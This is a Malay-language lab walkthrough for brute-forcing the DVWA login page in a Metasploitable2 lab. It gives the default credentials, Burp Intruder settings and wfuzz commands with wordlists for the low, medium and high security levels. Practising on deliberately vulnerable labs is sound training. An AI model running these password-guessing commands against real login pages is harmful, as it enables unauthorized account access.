

DVWA walkthrough Part 1

[1] Brute Force (low, medium, high)

1 Startkan vm metasploitable2 anda.

2 Startkan kali-wsl dan taipkan command di bawah. (rujuk demo video)

```
$ kex
```

3 Login ke DVWA menggunakan credentials berikut:

```
Username: admin
```

```
Password: password
```

4 Setkan DVWA Security kepada **low** kemudian **medium** dan akhirnya kepada **high**.

5 Startkan burp suite dan rujuk pada demo video.

6 Burp Intruder (Sniper, Cluster Bomb) payloads:

```
/usr/share/wordlists/dirb/others  
grep match
```

7 wfuzz payloads:

```
wfuzz -h
```

low

```
-----  
wfuzz -c -z file,/usr/share/wordlists/dirb/others/best15.txt
```

```
-b 'security=low; PHPSESSID=xxx'
```

```
'http://192.168.8.122/dvwa/vulnerabilities/brute/?username=admin&password=FUZZ&Login=Login#'
```

```
-----  
wfuzz -c -z file,/usr/share/wordlists/dirb/others/best15.txt
```

```
-b 'security=low; PHPSESSID=xxx' --hs incorrect
```

```
'http://192.168.8.122/dvwa/vulnerabilities/brute/?username=admin&password=FUZZ&Login=Login#'
```

names.txt:

```
Admin
```

```
Gordon
```

```
Hack
```

```
Pablo
```

```
Bob
```



```
wfuzz -c -z file,names.txt -z
file,/usr/share/wordlists/dirb/others/best15.txt -b
'security=low; PHPSESSIONID=xxx' --hs incorrect
'http://192.168.8.122/dvwa/vulnerabilities/brute/?username=FU
ZZ&password=FUZ2Z&Login=Login#'
```

```
-----
wfuzz -c -z file,names.txt -z
file,/usr/share/wordlists/dirb/others/best1050.txt -b
'security=low; PHPSESSIONID=xxx' --hs incorrect
'http://192.168.8.122/dvwa/vulnerabilities/brute/?username=FU
ZZ&password=FUZ2Z&Login=Login#'
```

medium

```
-----
wfuzz -c -z file,names.txt -z
file,/usr/share/wordlists/dirb/others/best15.txt -b
'security=medium; PHPSESSIONID=xxx' --hs incorrect
'http://192.168.8.122/dvwa/vulnerabilities/brute/?username=FU
ZZ&password=FUZ2Z&Login=Login#'
```

high

```
-----
wfuzz -c -z file,names.txt -z
file,/usr/share/wordlists/dirb/others/best15.txt -b
'security=high; PHPSESSIONID=xxx' --hs incorrect
'http://192.168.8.122/dvwa/vulnerabilities/brute/?username=FU
ZZ&password=FUZ2Z&Login=Login#'
```

```
-----
wfuzz -c -z file,names.txt -z
file,/usr/share/wordlists/dirb/others/best15.txt -b
'security=high; PHPSESSIONID=xxx' -s 4 --hs incorrect
'http://192.168.8.122/dvwa/vulnerabilities/brute/?username=FU
ZZ&password=FUZ2Z&Login=Login#'
```

